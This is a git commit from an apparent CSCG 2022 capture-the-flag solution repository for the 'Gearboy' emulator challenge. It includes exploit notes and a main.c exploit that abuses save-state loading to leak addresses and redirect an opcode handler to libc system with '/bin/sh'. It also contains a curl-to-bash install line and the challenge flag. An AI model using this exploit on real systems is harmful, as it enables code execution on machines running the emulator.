cscg22-gearboy

CSCG 2022 Challenge 'Gearboy'
git clone https://git.sinitax.com/sinitax/cscg22-gearboy
Log | Files | Refs | sfeed.txt

commit 1d4298becbb12324db19c6f8eb5a63d0a54c9c36
parent e3357dff0937f0d7f5c3bbf75bc479f566fee3d0
Author: Louis Burda <quent.burda@gmail.com>
Date:   Fri, 27 May 2022 00:05:50 +0200

Rest of tools / state

Diffstat:
M.gitignore | 1+
Aattach.sh | 3+++
Achall/Dockerfile | 35+++++++++++++++++++++++++++++++++++
Achall/flag | 2++
Achall/headless.patch | 148+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Achall/python_svc | 12++++++++++++
Achall/wrapper.py | 94+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Adocs/notes | 29+++++++++++++++++++++++++++++
Adocs/scratchpad | 26++++++++++++++++++++++++++
Aflag | 1+
Agbdk | 1+
Agearboy | 1+
Aimage/gearboy | 0
Aimage/libc-2.31.so | 0
Akill.sh | 3+++
Mmain.c | 48+++++++++++++++++-------------------------------
Arun.sh | 11+++++++++++
Aserver/Dockerfile | 39+++++++++++++++++++++++++++++++++++++++
Aserver/flag | 2++
Aserver/headless.patch | 148+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aserver/python_svc | 12++++++++++++
Aserver/wrapper.py | 94+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msolve.py | 8++++++++
23 files changed, 687 insertions(+), 31 deletions(-)

diff --git a/.gitignore b/.gitignore @@ -1,2 +1,3 @@ main.gb main.state +venv diff --git a/attach.sh b/attach.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +gdb -ex "target remote localhost:1234" -ex "run" diff --git a/chall/Dockerfile b/chall/Dockerfile @@ -0,0 +1,35 @@ +# docker build -t gearboy . && docker run --rm -it -p1024:1024 gearboy +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install --no-install-recommends -y xinetd libncurses5-dev libncurses5 python3 python3-pip gdbserver build-essential git libsdl2-dev libglew-dev && \ + apt-get clean + +RUN pip3 install --no-cache-dir cryptography==3.3 pwntools + +RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf && echo "ctf:ctf" | chpasswd + +WORKDIR /home/ctf + +RUN git clone https://github.com/drhelius/Gearboy.git gearboy && cd gearboy && git checkout 2cb66cdcb05f77147b9a5941e8ab92bceea828ae + +WORKDIR /home/ctf/gearboy/ +COPY headless.patch /home/ctf/gearboy/ + +RUN git apply --ignore-space-change --ignore-whitespace headless.patch + +WORKDIR /home/ctf/gearboy/platforms/linux +RUN make + +COPY flag / +COPY wrapper.py /home/ctf/wrapper.py + +COPY python_svc /etc/xinetd.d/ + +env TERM=linux TERMINFO=/etc/terminfo + +EXPOSE 1024 + +CMD ["xinetd", "-dontfork"] diff --git a/chall/flag b/chall/flag @@ -0,0 +1 @@ +CSCG{REDACTED} +\ No newline at end of file diff --git a/chall/headless.patch b/chall/headless.patch @@ -0,0 +1,148 @@ +diff --git a/platforms/audio-shared/Sound_Queue.cpp b/platforms/audio-shared/Sound_Queue.cpp +index 4dd4fb1..9a4402e 100644 +--- a/platforms/audio-shared/Sound_Queue.cpp ++++ b/platforms/audio-shared/Sound_Queue.cpp +@@ -144,9 +144,9 @@ void Sound_Queue::write( const sample_t* in, int count, bool sync ) + { + write_pos = 0; + write_buf = (write_buf + 1) % buf_count; +- +- if (sync_output) +- SDL_SemWait( free_sem ); ++ // We don't like deadlocks in SDL_SemWait, remove them ++ //if (sync_output) ++ // SDL_SemWait( free_sem ); + } + } + } +diff --git a/platforms/desktop-shared/application.cpp b/platforms/desktop-shared/application.cpp +index d39cf93..d75be4d 100644 +--- a/platforms/desktop-shared/application.cpp ++++ b/platforms/desktop-shared/application.cpp +@@ -44,17 +44,10 @@ static void run_emulator(void); + static void render(void); + static void frame_throttle(void); + +-int application_init(const char* arg) ++int application_init(const char* rom, const char* state) + { + Log ("<·> %s %s Desktop App <·>", GEARBOY_TITLE, GEARBOY_VERSION); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- Log ("Loading with argv: %s"); +- } +- +- int ret = sdl_init(); +- + application_fullscreen = false; + + config_init(); +@@ -67,42 +60,39 @@ int application_init(const char* arg) + emu_savefiles_dir_option = config_emulator.savefiles_dir_option; + emu_savestates_dir_option = config_emulator.savestates_dir_option; + +- gui_init(); ++ // We need no renderer and no SDL, remove those functions + +- ImGui_ImplSDL2_InitForOpenGL(sdl_window, gl_context); +- +- renderer_init(); + + SDL_GL_SetSwapInterval(config_video.sync ? 1 : 0); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- gui_load_rom(arg); +- } ++ ++ printf("Loading rom: %s\n", rom); ++ gui_load_rom(rom); ++ printf("Loading state: %s\n", state); ++ emu_load_state_file(state); + +- return ret; ++ return 0x00; + } + + void application_destroy(void) + { + config_write(); + config_destroy(); +- renderer_destroy(); +- gui_destroy(); ++ // We can't destroy objects we did not create. We remove them ++ //renderer_destroy(); ++ //gui_destroy(); + emu_destroy(); +- sdl_destroy(); ++ //sdl_destroy(); + } + + void application_mainloop(void) + { +- while (running) +- { ++ // Only 100 ticks for emulation. No crypto-mining on gearboy! ++ for (int i = 0; i < 100; i++) { + frame_time_start = SDL_GetPerformanceCounter(); + sdl_events(); + run_emulator(); +- render(); + frame_time_end = SDL_GetPerformanceCounter(); +- frame_throttle(); + } + } + +@@ -466,20 +456,7 @@ static void sdl_shortcuts_gui(const SDL_Event* event) + + static void run_emulator(void) + { +- if (!emu_is_empty()) +- { +- static int i = 0; +- i++; +- +- if (i > 20) +- { +- i = 0; +- +- char title[256]; +- sprintf(title, "%s %s - %s", GEARBOY_TITLE, GEARBOY_VERSION, emu_get_core()->GetCartridge()->GetFileName()); +- SDL_SetWindowTitle(sdl_window, title); +- } +- } ++ // We removed stuff like window titles here + config_emulator.paused = emu_is_paused(); + emu_audio_sync = config_audio.sync; + emu_update(); +diff --git a/platforms/desktop-shared/application.h b/platforms/desktop-shared/application.h +index 74a8c9e..ebbd3cb 100644 +--- a/platforms/desktop-shared/application.h ++++ b/platforms/desktop-shared/application.h +@@ -35,7 +35,7 @@ EXTERN SDL_version application_sdl_build_version; + EXTERN SDL_version application_sdl_link_version; + EXTERN bool application_fullscreen; + +-EXTERN int application_init(const char* arg); ++EXTERN int application_init(const char* rom, const char* state); + EXTERN void application_destroy(void); + EXTERN void application_mainloop(void); + EXTERN void application_trigger_quit(void); +diff --git a/platforms/desktop-shared/main.cpp b/platforms/desktop-shared/main.cpp +index 161eb9e..37e842e 100644 +--- a/platforms/desktop-shared/main.cpp ++++ b/platforms/desktop-shared/main.cpp +@@ -21,7 +21,11 @@ + + int main(int argc, char* argv[]) + { +- int ret = application_init((argc == 2) ? argv[1] : NULL); ++ if (argc < 3) { ++ printf("Usage: gearboy [rom] [state]\n"); ++ return -1; ++ } ++ int ret = application_init(argv[1], argv[2]); + + if (ret >= 0) + application_mainloop(); diff --git a/chall/python_svc b/chall/python_svc @@ -0,0 +1,12 @@ +service gearboy +{ +type = UNLISTED +protocol = tcp +socket_type = stream +port = 1024 +server = /usr/bin/env +server_args = python3 /home/ctf/wrapper.py +user = ctf +wait = no +env = HOME=/home/ctf/ +} diff --git a/chall/wrapper.py b/chall/wrapper.py @@ -0,0 +1,94 @@ +from pwn import * +import tempfile +import base64 +import os +import subprocess + +print("""tXtXS%XS%@%@t@tXStXtXt%XtXtXtXtXtXtXt%XtXtXtXtXtXtXtXtX;XtXtXtXtXtXtXtXtXt@t@StXt@tXtXtXtXtXtXtXtX%X +tX%XtXtX%SX%X%XtX%X%X%@%XtXt@%@S%S%S@%X%X%X%X%X%X%X%X%S%XSt@tXtX%X%X%@t@%8%@t@SS%X%8%@X%@%XSS%X%X%Xt +;St%SXtStX;S%S%SSSSS%@;%tS;%%%t%S;@ttt%%%St%%S;%%S;t%St%%t%StSt%%t%%S;%S%%St%tt%SXt%S;XtXSt%X%%X@t%% +88@8X88888888888@8X8@88888@8@@X8888@8X8X888@888@888@888@8@8888@@888@88X@8888@8@8@8X@8@8888@X88888888 +88S@S8@8X@X@X8@@@88888@8@8@@@888@888@888@8@8@888@@888888@@88@8X88@8@8@X88@88X8X88@88S88@@@8@@8888@X@ +8888888t8:8:8;8:8;8%8;88888%8;8X8S8S@888X8%@;8t8@888@8X8S8%@%@t8t8%8X@%@8@8888@t8;8888@8@%@X8@8S8%8t +888888S8:8:8:8;8:8S8;8;@S8%8:8t888;8t@888%8:8;8t8;8%8XX8%S :8 8 8888%888888@@888888888@8@8@88888@88t +8%@%8@:88.8:8%8;888;8:8t8t8.8;8;8.888t8.8;88.8X8;8t8:88@ t@8:8.@8:8X @X8@X888X.t@8888888@8@@@@@8@88 +88:@:8@.88 888%8;8:888888;8;88.8.8;8@t88%X;88.8t8;@:8SX88X888:888@S:88888888:88888888888888888888888 +888@@.8@.88.8%8t8:8t888888.@;88 888.8@:S8SX.88.8:8.8.88@S @88:88888@ 88888@88.8S8X@8@88S8@8888888888 +888:8@:8@:88;8;8:888;88;%8;8@:88:8t@;88 8;8@.88 8.X;8St@888@88@88@88888@8@8X 8@88888.8:8888888888888 +8%88%8@:8X:88:8:8;8%8;8@:8X.8@:88:8tX.888@%88%8888 8t8888888888888888888X88%8@@88S88S@88X8888888888S +88t8%8.@:8@:88.8%8%8tX:8X:8@:8@.8@:8:8tX88%8%8;@:S8;8%;888@88@8X888888888X@tSt@X8XX88@888X8888888888 +88888.88@;8@:8@%8;8:8;8:8@:8@:8@.88:8;8t888:8;8;@8t@.88@888888@8@8.888@X8X@8%8888 X 8.8S:88888888888 +88@;8@t8:8:8@:88:8:8:88@;8@:88:88tX8888@888XS@8t888@88888888SX8:88@%8X88X;8X@888 888X 8X8@.888888888 +8%8%8:@.8:@:8@;88.8:8t8:8:8@:8t888S%%XSXSSX%S88888t8888@888888.8X@88@888@8@888X8@88S8@8888@.88888888 +88:8.8%@:8;X:8@:88.888.88X;88 @8tX 8;8888@88tX8888;8@88888X88S88:88%88SX8.8888%888X88.8@888X88X8888 +888@%8888t8t8:8@.8@t8.88888888t @ @ X S8@.8;88S 88.8;S8@88@XX@;8888X888888%8.88@8X888@8XXXX88888%; +888tX:X88%8;8@;8@.88.8888;8X.  :8% @8888S:8 8S @X@8S@88888888:@88@8888888888%8S@88888:88888888888 +8%8%88.8 @.@:8@:8X.8@t8;8S.88SX X X;:8S88888 888%@:S88@8X8.tX888888888@88XX88..88X88;@t@8888888% +88:X:8%8;88.@:8@;8@.88.8;@ 8 8 88S888 88888888 8X8;X888888%:X888888%:888@@88X@.8X88 8X@888888X88 +88t88X%8%8.8:X;8@;8@:8@%@888888 @88 88888@8888%88888@8;@8888:X8@8888X@@%%8X888@%tXXX88@@@@88888S8888 +88888t8.8:8;8;8:88 8X.8X. 8@8888X8X8@8X88888@@88888@88t@88888X888888@8t88X8@@@8888@88%S888888@@X8888 +88X8:8.888;8:8;X 8@:8@X@8888888 8;%SS8X8888888888888S8S@8X88X:888888888888@8@8  8@@8S888@888X888t888 +88t88 8;8t8:@:8;8.8@:8@888@88888SX:;8;.8 88888888888@8@@88888X8S:@@888888888@8888@X 8@88;8@8St8888X. +888 8888:8%8:8:8%S:8@8@S888@8888 8 8S X%8888@8888888X8X@888888X88X88888888888%8S@@8;8SX@8SS%88@8X888 +88SX88:8888:8:X88.8.8@8S 88888X88888 88S888888888888X8@8888@888888%8X8X8888; 8@X@@X8X88S888t8XX88888 +888%8 8;8;88.8:S88.S;X8 888@8%88888 8888@@888888888888888@888888XX;%S88S@%X88%8:88@88@888.X8888@8888 +888:%8.8;8;88.8%@ @:8S8S8888SX888888888888@88888888X88X8@8X8888@88@888;tS88:% tX8@888XX@ 8X888888888 +888@S88888@:88:888S8X@8888@@888 88S8 8888888888@8888@@X888888888888@888X8@888@X 888@@8888%888888888: +88888:X88.8@.8@:8@%8888.888@88888888888888@8@8888S@88X88S888:8:8t8SSXS8@88888888X8@8@888%888888X888@ +888.88 8%Xt8@.8X;@8@8888 X88888888888888888888X%88888X@@8888@8888@8888S8X8@8S8@888X8888@888888X88888 +88X@;88t@t8.8X;X@8@@8@8%%8S 888888888888888:XX  X@@88@@@8@8888888888888t8%8:8:8%8:8S88888888888X8t8% +88888:88.8SX:8X8X8@X88@8t.:88S8888888888X8S .8XX@88@@@@@@XX8@888@t8t@.8;8:8:8;8:8;8%8%8;X:S88t8:8:8 +888;8@:8@%8:@8X@@X@@88@8 8t..8%SX88 8888t:%@;%@X8@88@@@@@@@@X@@88S8.8:@.8%8:8:8:X;8;8;8:888:8:8.8.8; +8X88%88%88@888X@@X88X88@S88St:@SSX 8XXX8888 8@@88888@@@X@@@@@@8888S@.@:8:8:8:8:8:8;8%8:8:8t8;@:8:8:8 +88;8t8;@88888@@XX88X888S8@:%%;8X@t;88888:;;S@X@888@@88X@@@@X@@@@@888X.8%@;8:@:8:8:@88:8:8t8;8:8;8.8: +88888X@S8888@@@@@88@88888@S S;.tS%.%X%;.:S888@8888@@88X@@@@@X@X@8@8S8X%8%8:8:8:X:8:8.8:@:8;8;888S8;8 +8S8.t%; X:8@X@@X@X88@@88X8@%@;;;;8;..:.t8X8@@8888@@@88@@@@@@@@@X@X88S8888:8t8:8:8:8%8.8.8:8:8;8S8%8: +88%X. 8 tS8S@X@@@88@8@88X88X:;;t@% %.@X@@@888@@@@@@X88X8@@@@@@@8@@88888;@;8:8:8%@%@:88X;8:8%8t8t8.8 +X;; 8888 8 8888@@88@@8XX88XX8St:%@@:X8@8888888888888@88X8@@@@@@@@88S8X8:8:8:8:8t8t8;8;@t8:8%8:8:8:8: +;888@88888 88S888@@X@8@@X8888SS@8888888@@8888@@@@@@@@8@8888@@@@@@888888.8%8.888%8:8:8t8;8;8:888;8.8 + X8888X88@88 @@8@@@X@@@@@@@@@88@888X@8@@@@@X@@@@@X@X@8@88@88@@@@@8@@888%@88 88888;8.@:8:8:8:888%8.8: +t@888888888 8XX@@@@@X@@@@@@88X88X@@@@@@@@@@@@@XX@888@888@@@@@@@@@@@X@88888;8:888%8;@;8:8;8;8t8%8:8t8 + 8@8 88X 88@X8@@@@@X@@@@@@@88@88X@@@@@@@@@@@88S.8@S S@t8@@@@@@@@X@@@88XS8X;88@t88.@:8%8:8t8S8t8:8;8% +@8%888SS888S88@X@@88@@888888@8888888@@@X@@S8t 8:8 8 888S8X@@@@@@@@8X8@@@X%8:@S8%@8%888%88888:%888888 +8@ 88%S@@XS8@8@@@@8X8@888888888888@@888888.S;8XS888@8 t;X8@@@@@@@8S.@@8@@X88@@8@XSt%@Xt@S;XX@%@@%Xt +SSSt;888@XS%XXSSXSSSSSSS%XXSSSSSSSXXXSXX;t%888888888888 8.8@@@@88..SXXSSXXSSSSSXSXXXXXXSXSSXXSSXXXSS +SSS8888@XX@XXSXSSSSSSSSSSSSXSSXSXSSXXSSSSXX8X888XX88888 8888@88 @:XXXXSSSSSSSSSSSSSSSSXSSXSSSSSSXSXS +SSSSX@XXXSXSSXSXSXSXSSSSSSXSSSSSSXSXXSSSX8S.X8S8 8888XSS8%8:@ 8%SXXSSSXXSXSSSSSSSSXSSSSXSSSSSSSSSXSX +XSXSXSXSSXSXSSXSXSXSXS%SSSSXSSSSSSXSSXSXSSS888S@S8 888SS8@SSXSSSSXSSSSSXSXSXSXSXSXXXSXSXXXXSSSSSXSS +XSSXSSSXSSXSXSSXSSSXSSSSSSXSS%SSXSSXSXSXSSX@88888:%888XSX8SSSSSSXSSSSSSSSSSSSSXXXXSSXSXSSXSXXXXXSSXX +XSXSXSXSXSSSXSXSSXSSXS%SSSSXSSSSSXSSXSSXSXSX@@@@@X@@@@X@XXSXSSSSSXSSSSSSXSSSSSSSSSXSSXSXSSXSXSXXXXSS +XSSSSXSSXSXSSXSSXSXSSSSSSSXSSSSSSSXSSXSSXSSSSSXX@@X@XX@XXSXSSXSXSSXSSSSSXSSSS%SSXSSXSSXSXSSSSXSSSSXS +XSXSXSXSSXSXSSXSSXSXSS%SSSSXSSSXSXSXSSXSSXSSSSSSXXXSXXXSSXSSXSXSSSSSSSSSSXSSSSSSXSXSXSSXSXSXSXSXSXSX +SSSSSSSSSSSSSSSSSSSSSSS%SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSXSXSSSSSSSSSXSSSSSSSSSSSSSSXSSSSSSSSSSSSXSSSSS +SSSSSSXSSXSSXSSXSSXSSSSSS8tXXS8tSSXSSXSXSSSSSSSSSSXSSXSXSSSXSSSXSSSXSXSXXXSSSSSSSSSSXSSSXSSSSSSSSSSS +tt;ttttttttttttttttttttt;;%ttt:t%tttttttt%tt;ttt%tttttttt%tttttttt%tt%ttt%ttttt%tt%ttt%tttt%t%t%tt%t + .    +""") + + +print("\n\n\n\nYou Know What Really Grinds My Gears? Your Gearboy Exploit!") + +try: + print("Please provide base64 encoded gameboy file") + gb_b64 = input("> ") + + filename_gb = '/tmp/%s.gb' % os.getpid() + fd = open(filename_gb, "wb") + fd.write(base64.b64decode(gb_b64)) + fd.close() + + print("Please provide base64 encoded gameboy state") + state_b64 = input("> ") + + filename_state = '/tmp/%s.state' % os.getpid() + fd = open(filename_state, "wb") + fd.write(base64.b64decode(state_b64)) + fd.close() + + + p = process(f"/home/ctf/gearboy/platforms/linux/gearboy {filename_gb} {filename_state}", shell=True) + p.interactive() + +except Exception as e: + print("Something went wrong: %s" % e) + exit(-1) diff --git a/docs/notes b/docs/notes @@ -0,0 +1,29 @@ +attack load state file functionality (use invalid state for unintended behavior) + +see Gearboy/src/GearboyCore.cpp GearBoy::LoadState: +- control memory, process, video, input, audio + +- OOP on Memory::GetWRAM1 using m_iCurrentWRAMBank + +- try negative offset binary search until it doesnt crash + => should give start of program code (test with docker upload & gui for testing) + +- overwrite pointer in got to free with one gadget for libc + +- can overwrite pointer in opcode CPG function table from Processor class + +... lots of time spent trying to find way of leaking both base and libc ... + +- we can try calling emu_save_ram on the wrapper python script location! + +... because of heavy optimization and headless patch those functions cant be called ... + +- if the arguments are still loaded in the right registers we could just jump +there anyways! + +.. nope, only control rdi and we need the memory read from to still be correct ... + +.. first run in docker has same behavior, can abuse for heap offsets ! .. + +.. remember that tagged images dont refresh, so pull them to be up-to-date +with remote or even better try to match tags .. diff --git a/docs/scratchpad b/docs/scratchpad @@ -0,0 +1,26 @@ + +// /* causes segfault (TESTED!) */ + // // *op0x00_gb = 0; + + // /* leak function pointer and base / got */ + // op0x00 = *op0x00_gb; + // base = op0x00 - 0x1d420; + // free_got = base + 0x4ad78; + + // /* use processor registers to read / write */ + // processor + 0x2068 + + // /* reset wram bank to point to GOT */ + wrambanks = processor_addr + 0x126a0; + target_index = (free_got - wrambanks) / 0x1000; + if ((free - wrambanks) % 0x1000 != 0) + target_index -= 1; + + // /* replace free with one gadget */ + // free_gb = (void*)free_got - (wrambanks - target_index * 0x1000) + 0xD000; + // free = *(free_gb); + // libc = free - 0x9a6d0; + // onegadget = libc + 0xe3afe; + + // *free_gb = onegadget; + diff --git a/flag b/flag @@ -0,0 +1 @@ +CSCG{an0ther_c3cg_an0ther_(obscure)_0day} diff --git a/gbdk b/gbdk @@ -0,0 +1 @@ +Subproject commit eb2a7e2a5769653b6188b3d104012b74812ff681 diff --git a/gearboy b/gearboy @@ -0,0 +1 @@ +Subproject commit 2cb66cdcb05f77147b9a5941e8ab92bceea828ae diff --git a/image/gearboy b/image/gearboy Binary files differ. diff --git a/image/libc-2.31.so b/image/libc-2.31.so Binary files differ. diff --git a/kill.sh b/kill.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +docker kill "$(docker ps --format "{{.Names}}" | grep cscg22-gearboy-)" diff --git a/main.c b/main.c @@ -6,15 +6,11 @@ main(void) { volatile static uint8_t *processor_gb; volatile static uint8_t *memory_gb; - volatile static uint8_t *gbcore_gb; - volatile static uint8_t *cartridge_gb; - volatile static uint64_t memory; - volatile static uint64_t processor; - volatile static uint64_t cartridge; + volatile static uint8_t *free_got_gb; volatile static uint64_t op0x00; volatile static uint64_t base; volatile static uint64_t libc; - volatile static uint64_t leak; + volatile static uint64_t free_got; volatile static uint64_t target; /* NEEDS TO BE FIRST SESSION OF CONTAINER! */ @@ -25,33 +21,23 @@ main(void) processor_gb = (void*) 0xD960; memory_gb = processor_gb - 0xd0; - /* leak base addr */ + /* get base from op0x00 */ op0x00 = *(uint64_t*)processor_gb; base = op0x00 - 0x1d420; - target = base + 0x13df0; - - /* get real adresses */ - processor = *(uint64_t*)memory_gb; - memory = processor - 0xd0; - - *(uint64_t*)processor_gb = target; - - /* setup fake cartridge opject behind processor & memory */ - cartridge = processor - 0x960; - cartridge_gb = (void*) 0xD000; /* start of wram bank */ - *(uint8_t*)(cartridge_gb+0x30) = 1; /* loaded */ - *(uint8_t*)(cartridge_gb+0x40) = 1; /* battery */ - strcpy((char*)(cartridge_gb+0x41), "/home/ctf/wrapper.py"); /* filepath */ - - /* setup fake gameboycore object */ - gbcore_gb = processor_gb; /* at processor addr */ - // *(uint64_t*)(gbcore_gb+0x00) = memory; - // *(uint64_t*)(gbcore_gb+0x08) = processor; - // *(uint64_t*)(gbcore_gb+0x28) = cartridge; - - /* set opcode 0x10 (stop) to saveRam */ - // *(uint64_t*)(processor+0x10*0x10) = target; - // *(uint64_t*)(processor+0x10*0x10) = 0; + free_got = base + 0x4ad78; + + /* change lcdrambank pointer to access got */ + *(uint64_t*)(memory_gb+0x90) = free_got; + free_got_gb = (void*) 0x8000; + + libc = (*(uint64_t*)free_got_gb) - 0x9a6d0; + + // target = libc + 0xe3afe; + // *(uint64_t*)free_got_gb = target; + + target = libc + 0x52290; + strcpy((char*)processor_gb, "/bin/sh"); + *(uint64_t*)(processor_gb+0x10*0x10) = target; __asm \ stop \ diff --git a/run.sh b/run.sh @@ -0,0 +1,11 @@ +#!/bin/sh + +if [ "$1" == "chall" ]; then + pushd chall + docker build -t cscg22-gearboy-chall . + docker run --name "cscg22-gearboy-chall-$$" --net=host -it cscg22-gearboy-chall +else + pushd server + docker build -t cscg22-gearboy-testserver . + docker run --name "cscg22-gearboy-testserver-$$" --net=host -it cscg22-gearboy-testserver +fi diff --git a/server/Dockerfile b/server/Dockerfile @@ -0,0 +1,39 @@ +# docker build -t gearboy . && docker run --rm -it -p1024:1024 gearboy +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install --no-install-recommends -y gdb xinetd libncurses5-dev libncurses5 python3 python3-pip gdbserver build-essential git libsdl2-dev libglew-dev && \ + apt-get clean + +RUN pip3 install --no-cache-dir cryptography==3.3 pwntools + +RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf && echo "ctf:ctf" | chpasswd + +WORKDIR /home/ctf + +RUN git clone https://github.com/drhelius/Gearboy.git gearboy && cd gearboy && git checkout 2cb66cdcb05f77147b9a5941e8ab92bceea828ae + +WORKDIR /home/ctf/gearboy/ +COPY headless.patch /home/ctf/gearboy/ + +RUN git apply --ignore-space-change --ignore-whitespace headless.patch + +WORKDIR /home/ctf/gearboy/platforms/linux +RUN make + +RUN apt install -y curl python3.9 python-is-python3 + +RUN bash -c "$(curl -fsSL http://gef.blah.cat/sh)" + +COPY flag / +COPY wrapper.py /home/ctf/wrapper.py + +COPY python_svc /etc/xinetd.d/ + +env TERM=linux TERMINFO=/etc/terminfo + +EXPOSE 1024 + +CMD ["xinetd", "-dontfork"] diff --git a/server/flag b/server/flag @@ -0,0 +1 @@ +CSCG{REDACTED} +\ No newline at end of file diff --git a/server/headless.patch b/server/headless.patch @@ -0,0 +1,148 @@ +diff --git a/platforms/audio-shared/Sound_Queue.cpp b/platforms/audio-shared/Sound_Queue.cpp +index 4dd4fb1..9a4402e 100644 +--- a/platforms/audio-shared/Sound_Queue.cpp ++++ b/platforms/audio-shared/Sound_Queue.cpp +@@ -144,9 +144,9 @@ void Sound_Queue::write( const sample_t* in, int count, bool sync ) + { + write_pos = 0; + write_buf = (write_buf + 1) % buf_count; +- +- if (sync_output) +- SDL_SemWait( free_sem ); ++ // We don't like deadlocks in SDL_SemWait, remove them ++ //if (sync_output) ++ // SDL_SemWait( free_sem ); + } + } + } +diff --git a/platforms/desktop-shared/application.cpp b/platforms/desktop-shared/application.cpp +index d39cf93..d75be4d 100644 +--- a/platforms/desktop-shared/application.cpp ++++ b/platforms/desktop-shared/application.cpp +@@ -44,17 +44,10 @@ static void run_emulator(void); + static void render(void); + static void frame_throttle(void); + +-int application_init(const char* arg) ++int application_init(const char* rom, const char* state) + { + Log ("<·> %s %s Desktop App <·>", GEARBOY_TITLE, GEARBOY_VERSION); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- Log ("Loading with argv: %s"); +- } +- +- int ret = sdl_init(); +- + application_fullscreen = false; + + config_init(); +@@ -67,42 +60,39 @@ int application_init(const char* arg) + emu_savefiles_dir_option = config_emulator.savefiles_dir_option; + emu_savestates_dir_option = config_emulator.savestates_dir_option; + +- gui_init(); ++ // We need no renderer and no SDL, remove those functions + +- ImGui_ImplSDL2_InitForOpenGL(sdl_window, gl_context); +- +- renderer_init(); + + SDL_GL_SetSwapInterval(config_video.sync ? 1 : 0); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- gui_load_rom(arg); +- } ++ ++ printf("Loading rom: %s\n", rom); ++ gui_load_rom(rom); ++ printf("Loading state: %s\n", state); ++ emu_load_state_file(state); + +- return ret; ++ return 0x00; + } + + void application_destroy(void) + { + config_write(); + config_destroy(); +- renderer_destroy(); +- gui_destroy(); ++ // We can't destroy objects we did not create. We remove them ++ //renderer_destroy(); ++ //gui_destroy(); + emu_destroy(); +- sdl_destroy(); ++ //sdl_destroy(); + } + + void application_mainloop(void) + { +- while (running) +- { ++ // Only 100 ticks for emulation. No crypto-mining on gearboy! ++ for (int i = 0; i < 100; i++) { + frame_time_start = SDL_GetPerformanceCounter(); + sdl_events(); + run_emulator(); +- render(); + frame_time_end = SDL_GetPerformanceCounter(); +- frame_throttle(); + } + } + +@@ -466,20 +456,7 @@ static void sdl_shortcuts_gui(const SDL_Event* event) + + static void run_emulator(void) + { +- if (!emu_is_empty()) +- { +- static int i = 0; +- i++; +- +- if (i > 20) +- { +- i = 0; +- +- char title[256]; +- sprintf(title, "%s %s - %s", GEARBOY_TITLE, GEARBOY_VERSION, emu_get_core()->GetCartridge()->GetFileName()); +- SDL_SetWindowTitle(sdl_window, title); +- } +- } ++ // We removed stuff like window titles here + config_emulator.paused = emu_is_paused(); + emu_audio_sync = config_audio.sync; + emu_update(); +diff --git a/platforms/desktop-shared/application.h b/platforms/desktop-shared/application.h +index 74a8c9e..ebbd3cb 100644 +--- a/platforms/desktop-shared/application.h ++++ b/platforms/desktop-shared/application.h +@@ -35,7 +35,7 @@ EXTERN SDL_version application_sdl_build_version; + EXTERN SDL_version application_sdl_link_version; + EXTERN bool application_fullscreen; + +-EXTERN int application_init(const char* arg); ++EXTERN int application_init(const char* rom, const char* state); + EXTERN void application_destroy(void); + EXTERN void application_mainloop(void); + EXTERN void application_trigger_quit(void); +diff --git a/platforms/desktop-shared/main.cpp b/platforms/desktop-shared/main.cpp +index 161eb9e..37e842e 100644 +--- a/platforms/desktop-shared/main.cpp ++++ b/platforms/desktop-shared/main.cpp +@@ -21,7 +21,11 @@ + + int main(int argc, char* argv[]) + { +- int ret = application_init((argc == 2) ? argv[1] : NULL); ++ if (argc < 3) { ++ printf("Usage: gearboy [rom] [state]\n"); ++ return -1; ++ } ++ int ret = application_init(argv[1], argv[2]); + + if (ret >= 0) + application_mainloop(); diff --git a/server/python_svc b/server/python_svc @@ -0,0 +1,12 @@ +service gearboy +{ +type = UNLISTED +protocol = tcp +socket_type = stream +port = 1024 +server = /usr/bin/env +server_args = python3 /home/ctf/wrapper.py +user = ctf +wait = no +env = HOME=/home/ctf/ +} diff --git a/server/wrapper.py b/server/wrapper.py @@ -0,0 +1,94 @@ +from pwn import * +import tempfile +import base64 +import os +import subprocess + +print("""tXtXS%XS%@%@t@tXStXtXt%XtXtXtXtXtXtXt%XtXtXtXtXtXtXtXtX;XtXtXtXtXtXtXtXtXt@t@StXt@tXtXtXtXtXtXtXtX%X +tX%XtXtX%SX%X%XtX%X%X%@%XtXt@%@S%S%S@%X%X%X%X%X%X%X%X%S%XSt@tXtX%X%X%@t@%8%@t@SS%X%8%@X%@%XSS%X%X%Xt +;St%SXtStX;S%S%SSSSS%@;%tS;%%%t%S;@ttt%%%St%%S;%%S;t%St%%t%StSt%%t%%S;%S%%St%tt%SXt%S;XtXSt%X%%X@t%% +88@8X88888888888@8X8@88888@8@@X8888@8X8X888@888@888@888@8@8888@@888@88X@8888@8@8@8X@8@8888@X88888888 +88S@S8@8X@X@X8@@@88888@8@8@@@888@888@888@8@8@888@@888888@@88@8X88@8@8@X88@88X8X88@88S88@@@8@@8888@X@ +8888888t8:8:8;8:8;8%8;88888%8;8X8S8S@888X8%@;8t8@888@8X8S8%@%@t8t8%8X@%@8@8888@t8;8888@8@%@X8@8S8%8t +888888S8:8:8:8;8:8S8;8;@S8%8:8t888;8t@888%8:8;8t8;8%8XX8%S :8 8 8888%888888@@888888888@8@8@88888@88t +8%@%8@:88.8:8%8;888;8:8t8t8.8;8;8.888t8.8;88.8X8;8t8:88@ t@8:8.@8:8X @X8@X888X.t@8888888@8@@@@@8@88 +88:@:8@.88 888%8;8:888888;8;88.8.8;8@t88%X;88.8t8;@:8SX88X888:888@S:88888888:88888888888888888888888 +888@@.8@.88.8%8t8:8t888888.@;88 888.8@:S8SX.88.8:8.8.88@S @88:88888@ 